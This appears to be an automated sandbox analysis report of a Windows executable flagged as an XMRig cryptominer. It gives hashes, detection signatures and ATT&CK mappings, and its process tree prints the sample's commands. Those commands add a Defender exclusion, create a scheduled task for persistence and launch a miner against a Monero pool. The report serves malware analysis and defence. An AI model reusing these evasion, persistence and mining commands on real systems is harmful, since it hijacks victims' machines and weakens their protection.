xmrig | 6ee27f5f4be9f1cfeb98b5190367ca60d1c81b527b730d808b4b29e30b44931d

Analysis

max time kernel
42s
max time network
146s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
27/12/2022, 15:13

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General

Target

file.exe
Size

2.7MB
MD5

4f62eb4f1a2c1fc46df059120e6e6cef
SHA1

bd2fcde45f562ec5b0c741fa102c3dfa0234d511
SHA256

6ee27f5f4be9f1cfeb98b5190367ca60d1c81b527b730d808b4b29e30b44931d
SHA512

38c9d721302f345a8c1efcf6d40a735e181b67d2fe8e19bf5a20e6347de325f1c974f553ad640553f1fe3546729600a8d485964a36fbb6d76d7c58244ac72dd3
SSDEEP

49152:IvEl6mjUImipdKvT6QD66iMVptYC0qs7QVlWSwI9SrxCsU:IamScvPfOCHs8yCs

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 13 IoCs

miner

resource	yara_rule
behavioral1/memory/1616-104-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1616-106-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1616-108-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1616-109-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1616-111-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1616-113-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1616-114-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1616-116-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1616-118-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1616-119-0x0000000140343234-mapping.dmp	xmrig
behavioral1/memory/1616-121-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1616-123-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1616-124-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1960 set thread context of 1616	1960	file.exe	34

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1668	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1512	powershell.exe
1960	file.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1960	file.exe
Token: SeDebugPrivilege	1512	powershell.exe
Token: SeLockMemoryPrivilege	1616	vbc.exe
Token: SeLockMemoryPrivilege	1616	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1616	vbc.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1960 wrote to memory of 1512	1960	file.exe	28
PID 1960 wrote to memory of 1512	1960	file.exe	28
PID 1960 wrote to memory of 1512	1960	file.exe	28
PID 1960 wrote to memory of 676	1960	file.exe	30
PID 1960 wrote to memory of 676	1960	file.exe	30
PID 1960 wrote to memory of 676	1960	file.exe	30
PID 676 wrote to memory of 1668	676	cmd.exe	32
PID 676 wrote to memory of 1668	676	cmd.exe	32
PID 676 wrote to memory of 1668	676	cmd.exe	32
PID 1960 wrote to memory of 1616	1960	file.exe	34
PID 1960 wrote to memory of 1616	1960	file.exe	34
PID 1960 wrote to memory of 1616	1960	file.exe	34
PID 1960 wrote to memory of 1616	1960	file.exe	34
PID 1960 wrote to memory of 1616	1960	file.exe	34
PID 1960 wrote to memory of 1616	1960	file.exe	34
PID 1960 wrote to memory of 1616	1960	file.exe	34
PID 1960 wrote to memory of 1616	1960	file.exe	34
PID 1960 wrote to memory of 1616	1960	file.exe	34
PID 1960 wrote to memory of 1616	1960	file.exe	34
PID 1960 wrote to memory of 1616	1960	file.exe	34
PID 1960 wrote to memory of 1616	1960	file.exe	34
PID 1960 wrote to memory of 1616	1960	file.exe	34
PID 1960 wrote to memory of 1616	1960	file.exe	34
PID 1960 wrote to memory of 1616	1960	file.exe	34

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:676
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
    3⤵
    - Creates scheduled task(s)
    PID:1668
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:1616

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1512-82-0x000000000285B000-0x000000000287A000-memory.dmp

Filesize
124KB

Download
memory/1512-81-0x0000000002854000-0x0000000002857000-memory.dmp

Filesize
12KB

Download
memory/1512-80-0x000000000285B000-0x000000000287A000-memory.dmp

Filesize
124KB

Download
memory/1512-78-0x000007FEEC420000-0x000007FEECF7D000-memory.dmp

Filesize
11.4MB

Download
memory/1512-79-0x0000000002854000-0x0000000002857000-memory.dmp

Filesize
12KB

Download
memory/1512-77-0x000007FEECF80000-0x000007FEED9A3000-memory.dmp

Filesize
10.1MB

Download
memory/1512-75-0x000007FEFBD01000-0x000007FEFBD03000-memory.dmp

Filesize
8KB

Download
memory/1616-108-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1616-109-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1616-113-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1616-106-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1616-104-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1616-102-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1616-100-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1616-99-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1616-124-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1616-114-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1616-116-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1616-118-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1616-111-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1616-121-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1616-122-0x0000000000170000-0x0000000000190000-memory.dmp

Filesize
128KB

Download
memory/1616-123-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1960-70-0x000007FEFB950000-0x000007FEFB9A6000-memory.dmp

Filesize
344KB

Download
memory/1960-71-0x00000000000C0000-0x00000000003D0000-memory.dmp

Filesize
3.1MB

Download
memory/1960-73-0x000007FEFCA70000-0x000007FEFCA92000-memory.dmp

Filesize
136KB

Download
memory/1960-86-0x000007FEFB730000-0x000007FEFB945000-memory.dmp

Filesize
2.1MB

Download
memory/1960-87-0x0000000000070000-0x00000000000B1000-memory.dmp

Filesize
260KB

Download
memory/1960-88-0x000007FEFDD70000-0x000007FEFDD8F000-memory.dmp

Filesize
124KB

Download
memory/1960-89-0x000007FEFC920000-0x000007FEFC937000-memory.dmp

Filesize
92KB

Download
memory/1960-90-0x000007FEF0F90000-0x000007FEF0FAC000-memory.dmp

Filesize
112KB

Download
memory/1960-91-0x000007FEF0FB0000-0x000007FEF1012000-memory.dmp

Filesize
392KB

Download
memory/1960-92-0x000007FEFD570000-0x000007FEFD5BD000-memory.dmp

Filesize
308KB

Download
memory/1960-93-0x000007FEF8010000-0x000007FEF8074000-memory.dmp

Filesize
400KB

Download
memory/1960-94-0x000007FEF8080000-0x000007FEF80F1000-memory.dmp

Filesize
452KB

Download
memory/1960-95-0x000007FEFCEF0000-0x000007FEFCF15000-memory.dmp

Filesize
148KB

Download
memory/1960-96-0x000007FEFAA00000-0x000007FEFAA27000-memory.dmp

Filesize
156KB

Download
memory/1960-97-0x000007FEFD480000-0x000007FEFD4B6000-memory.dmp

Filesize
216KB

Download
memory/1960-98-0x000007FEFC740000-0x000007FEFC79B000-memory.dmp

Filesize
364KB

Download
memory/1960-72-0x000007FEF6560000-0x000007FEF668C000-memory.dmp

Filesize
1.2MB

Download
memory/1960-76-0x000007FEFDEE0000-0x000007FEFDFB7000-memory.dmp

Filesize
860KB

Download
memory/1960-55-0x000007FEF6970000-0x000007FEF69DF000-memory.dmp

Filesize
444KB

Download
memory/1960-67-0x000007FEFE090000-0x000007FEFE293000-memory.dmp

Filesize
2.0MB

Download
memory/1960-69-0x0000000000070000-0x00000000000B1000-memory.dmp

Filesize
260KB

Download
memory/1960-68-0x00000000000C0000-0x00000000003D0000-memory.dmp

Filesize
3.1MB

Download
memory/1960-66-0x000007FEFDD90000-0x000007FEFDEBD000-memory.dmp

Filesize
1.2MB

Download
memory/1960-65-0x000007FEF5950000-0x000007FEF633C000-memory.dmp

Filesize
9.9MB

Download
memory/1960-64-0x000007FEFE2B0000-0x000007FEFE38B000-memory.dmp

Filesize
876KB

Download
memory/1960-63-0x000007FEF6690000-0x000007FEF6787000-memory.dmp

Filesize
988KB

Download
memory/1960-62-0x000007FEFDCF0000-0x000007FEFDD61000-memory.dmp

Filesize
452KB

Download
memory/1960-61-0x000007FEFD1F0000-0x000007FEFD25C000-memory.dmp

Filesize
432KB

Download
memory/1960-60-0x00000000770C0000-0x00000000771DF000-memory.dmp

Filesize
1.1MB

Download
memory/1960-59-0x000007FEFD4C0000-0x000007FEFD55F000-memory.dmp

Filesize
636KB

Download
memory/1960-58-0x00000000771E0000-0x00000000772DA000-memory.dmp

Filesize
1000KB

Download
memory/1960-57-0x000007FEFD5C0000-0x000007FEFD627000-memory.dmp

Filesize
412KB

Download
memory/1960-56-0x000007FEF68D0000-0x000007FEF696C000-memory.dmp

Filesize
624KB

Download